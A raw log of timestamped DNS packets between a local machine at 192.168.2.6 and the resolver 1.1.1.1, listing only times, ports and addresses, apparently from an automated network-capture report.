Nov 11, 2024 18:50:48.275834084 CET	49873	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.276570082 CET	49625	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.281021118 CET	53	54911	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.282560110 CET	53	58801	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.283103943 CET	53	52992	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.283468008 CET	53	56442	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.284435034 CET	53	59520	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.284689903 CET	54697	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.285058975 CET	53	54819	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.285921097 CET	53	49873	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.287699938 CET	50865	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.288305044 CET	64920	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.288466930 CET	64870	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.289159060 CET	55476	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.289463997 CET	57620	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.289963007 CET	54402	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.290174007 CET	49409	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.290402889 CET	60593	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.290796041 CET	60141	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.290833950 CET	53808	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.291461945 CET	51887	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.291909933 CET	58777	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.291954994 CET	50100	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.292448044 CET	49965	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.297725916 CET	53	49409	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.298032999 CET	53	64870	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.298176050 CET	53	64920	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.299129009 CET	53	57620	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.299568892 CET	53	55476	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.300213099 CET	53	60141	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.300956964 CET	53	51887	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.301598072 CET	53	53808	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.302164078 CET	53	49965	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.303472996 CET	53	55548	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.304610014 CET	50786	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.305512905 CET	61244	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.307915926 CET	53	49625	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.310134888 CET	53	50100	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.311702967 CET	53	58777	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.314147949 CET	54501	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.314996004 CET	53	61244	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.315076113 CET	53	50786	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.315871000 CET	53	54697	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.317600965 CET	53	50865	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.319048882 CET	52982	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.320292950 CET	63796	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.320710897 CET	53	54402	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.322081089 CET	53	60593	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.323034048 CET	53048	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.323292971 CET	63421	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.323503971 CET	51324	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.323684931 CET	52825	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.324126005 CET	50347	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.324388027 CET	60450	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.329751015 CET	53	52982	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.331054926 CET	53	50347	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.333198071 CET	53	51324	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.333532095 CET	53	52825	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.333549976 CET	53	63421	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.335860014 CET	64968	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.336054087 CET	53	54501	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.336209059 CET	54511	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.336580992 CET	58293	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.336729050 CET	64284	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.340754986 CET	60627	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.342436075 CET	53	53048	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.342931032 CET	53	64968	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.344098091 CET	61365	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.344291925 CET	49678	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.346422911 CET	53	54511	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.347074032 CET	53	58293	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.347793102 CET	53	64284	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.348169088 CET	52441	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.350234032 CET	53	60627	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.351718903 CET	53	63796	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.352947950 CET	60080	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.355004072 CET	53	49678	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.355020046 CET	63979	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.355829954 CET	53	60450	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.357431889 CET	57548	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.357810974 CET	50128	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.357810974 CET	65314	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.357960939 CET	64167	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.359771013 CET	53	60080	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.360435009 CET	62782	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.362837076 CET	60153	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.362837076 CET	49539	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.363410950 CET	52031	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.364743948 CET	58258	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.365075111 CET	50310	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.365233898 CET	53	57548	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.366985083 CET	61009	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.368539095 CET	50890	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.368700981 CET	59199	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.369884014 CET	50611	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.370193005 CET	64320	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.370908976 CET	56014	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.371943951 CET	59665	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.372606039 CET	53	60153	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.372678041 CET	57405	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.372714996 CET	53	50310	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.374361038 CET	62447	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.374382019 CET	53	58258	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.374871016 CET	53	61365	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.375428915 CET	53	64167	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.376046896 CET	53	50128	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.376610994 CET	61356	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.376981974 CET	53	61009	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.378094912 CET	53	64320	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.378592014 CET	53	50611	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.378608942 CET	53	62782	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.378972054 CET	53	50890	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.378982067 CET	59862	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.379127026 CET	53	59199	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.380590916 CET	53	52031	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.381306887 CET	53	52441	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.381936073 CET	53	56014	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.383774042 CET	60302	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.385046005 CET	53	62447	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.386879921 CET	53	63979	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.387003899 CET	53	61356	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.387881041 CET	53	65314	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.388894081 CET	53	59862	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.390620947 CET	53	59665	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.392189026 CET	53	60302	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.394159079 CET	53	49539	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.403203011 CET	53	57405	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.434801102 CET	51615	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.453016043 CET	53	51615	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.492309093 CET	63580	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.492383957 CET	59314	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.492616892 CET	57291	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.492616892 CET	56936	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.492634058 CET	58783	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.492943048 CET	53557	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.493241072 CET	59295	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.502449036 CET	53	59314	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.503139019 CET	53	56936	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.503150940 CET	53	57291	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.503355026 CET	53	58783	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.503576040 CET	53	59295	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.504446030 CET	53	53557	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.551476955 CET	65294	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.551964045 CET	58907	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:48.571357965 CET	53	58907	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.582556009 CET	53	65294	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.636082888 CET	53	57385	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:48.927382946 CET	53	63580	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:51.787251949 CET	56105	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:51.787858009 CET	54218	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:51.790498972 CET	61125	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:51.801723957 CET	53	61125	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:51.805843115 CET	53	56105	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:51.808377981 CET	53	54218	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:51.920854092 CET	64304	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:51.922207117 CET	61129	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:51.926886082 CET	49182	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:51.931875944 CET	53	61129	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:51.933399916 CET	53	64304	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:51.937066078 CET	53	49182	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.057504892 CET	57003	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.063374996 CET	53669	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.088628054 CET	53	57003	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.096407890 CET	53	53669	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.165766954 CET	55423	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.168313026 CET	55122	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.169126034 CET	59061	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.170454979 CET	61187	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.171200991 CET	60228	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.171900034 CET	60853	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.172735929 CET	60360	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.173531055 CET	64935	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.174280882 CET	52630	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.174395084 CET	57966	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.174810886 CET	54880	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.176392078 CET	49454	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.176708937 CET	53	55423	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.176793098 CET	49402	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.177299023 CET	56736	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.177527905 CET	53	55122	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.179068089 CET	53	60228	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.180121899 CET	53	59061	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.181627989 CET	59780	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.181766987 CET	53	60853	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.182116985 CET	53	60360	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.183902979 CET	53	64935	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.184274912 CET	53	52630	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.184457064 CET	53	49402	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.187762022 CET	53	56736	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.188621044 CET	53	61187	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.190769911 CET	53	59780	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.207067966 CET	53	57966	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.207165003 CET	53	54880	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.207477093 CET	53	49454	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.225616932 CET	56117	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.225888968 CET	49826	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.226002932 CET	61463	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.226181030 CET	59645	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.226881981 CET	54587	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.227183104 CET	55413	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.227344990 CET	51400	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.228296995 CET	51744	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.228327036 CET	54723	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.228461027 CET	57284	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.228517056 CET	63942	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.228696108 CET	49798	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.228718996 CET	61504	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.228851080 CET	64180	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.236073017 CET	53	59645	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.236092091 CET	53	61463	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.236262083 CET	53	55413	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.236634016 CET	53	56117	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.237473965 CET	53	54587	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.237483978 CET	53	49798	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.237494946 CET	53	51400	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.237966061 CET	53	51744	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.238720894 CET	53	54723	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.238743067 CET	53	63942	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.238759995 CET	53	57284	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.238769054 CET	53	64180	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.244389057 CET	53	49826	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.246002913 CET	53	61504	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.260668039 CET	59444	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.260921001 CET	49663	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.261267900 CET	61000	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.261545897 CET	53096	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.262326002 CET	53092	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.262451887 CET	50193	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.262777090 CET	55312	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.263106108 CET	65483	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.263403893 CET	62634	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.263465881 CET	61751	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.270754099 CET	53	49663	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.271177053 CET	53	53096	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.271583080 CET	53	61000	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.272783041 CET	53	53092	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.273546934 CET	53	50193	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.273751020 CET	53	61751	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.275099039 CET	53	65483	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.292498112 CET	53	59444	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.294217110 CET	53	55312	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.294856071 CET	65135	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.295133114 CET	51807	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.295356035 CET	53	62634	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.295659065 CET	58114	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.296216965 CET	52081	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.296726942 CET	61675	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.297211885 CET	53386	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.297929049 CET	58141	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.304152012 CET	53	51807	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.305057049 CET	53	58114	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.306700945 CET	53	53386	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.307013988 CET	53	58141	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.312156916 CET	52823	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.312351942 CET	53683	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.312582016 CET	54360	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.322290897 CET	53	54360	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.327107906 CET	53	65135	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.327133894 CET	53	52081	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.327671051 CET	53	61675	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.330475092 CET	53	52823	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.342123985 CET	53	53683	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.403160095 CET	54651	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.403238058 CET	61627	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:52.413613081 CET	53	54651	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:52.413924932 CET	53	61627	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.151535988 CET	58562	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.152921915 CET	49543	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.158427954 CET	58492	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.162116051 CET	53	58562	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.166302919 CET	51287	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.166543961 CET	64471	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.168385983 CET	53	49543	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.170962095 CET	53	58492	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.172735929 CET	64161	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.174266100 CET	57514	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.177658081 CET	50165	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.177833080 CET	57747	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.179898024 CET	53	64471	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.181812048 CET	53622	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.186533928 CET	53	57514	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.186717033 CET	60797	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.187522888 CET	53	51287	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.188462019 CET	53	50165	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.189088106 CET	53	57747	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.192011118 CET	59419	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.192080975 CET	53	53622	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.193260908 CET	58512	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.194021940 CET	60431	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.194273949 CET	54029	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.195256948 CET	55107	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.195637941 CET	63802	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.195959091 CET	53	60797	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.197156906 CET	59268	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.204858065 CET	53	59419	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.205200911 CET	56786	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.205535889 CET	64181	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.205991983 CET	53	64161	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.206208944 CET	53	60431	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.206525087 CET	53	54029	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.208868980 CET	53	63802	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.210553885 CET	53	59268	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.214813948 CET	53	58512	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.220187902 CET	53	64181	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.229579926 CET	53	55107	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.233031988 CET	55247	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.233299971 CET	62715	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.233489037 CET	64892	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.234206915 CET	64522	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.234489918 CET	64533	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.234659910 CET	53441	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.234931946 CET	56814	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.235079050 CET	56197	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.235327959 CET	62260	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.235763073 CET	56095	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.236223936 CET	64327	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.236265898 CET	58168	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.236494064 CET	49999	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.236588001 CET	59021	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.236764908 CET	56561	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.236876011 CET	49657	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.237044096 CET	62989	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.237140894 CET	52797	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.237397909 CET	59490	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.238645077 CET	53	56786	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.245757103 CET	53	64892	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.246741056 CET	53	64522	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.247517109 CET	53	64533	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.247930050 CET	53	62260	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.247941017 CET	53	53441	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.248141050 CET	53	64327	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.248614073 CET	53	59021	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.249864101 CET	53	62989	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.249880075 CET	53	58168	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.249916077 CET	53	56561	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.249926090 CET	53	49657	1.1.1.1	192.168.2.6
Nov 11, 2024 18:50:58.251729965 CET	64627	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.251810074 CET	58841	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.252093077 CET	63282	53	192.168.2.6	1.1.1.1
Nov 11, 2024 18:50:58.252381086 CET	52018	53	192.168.2.6	1.1.1.1
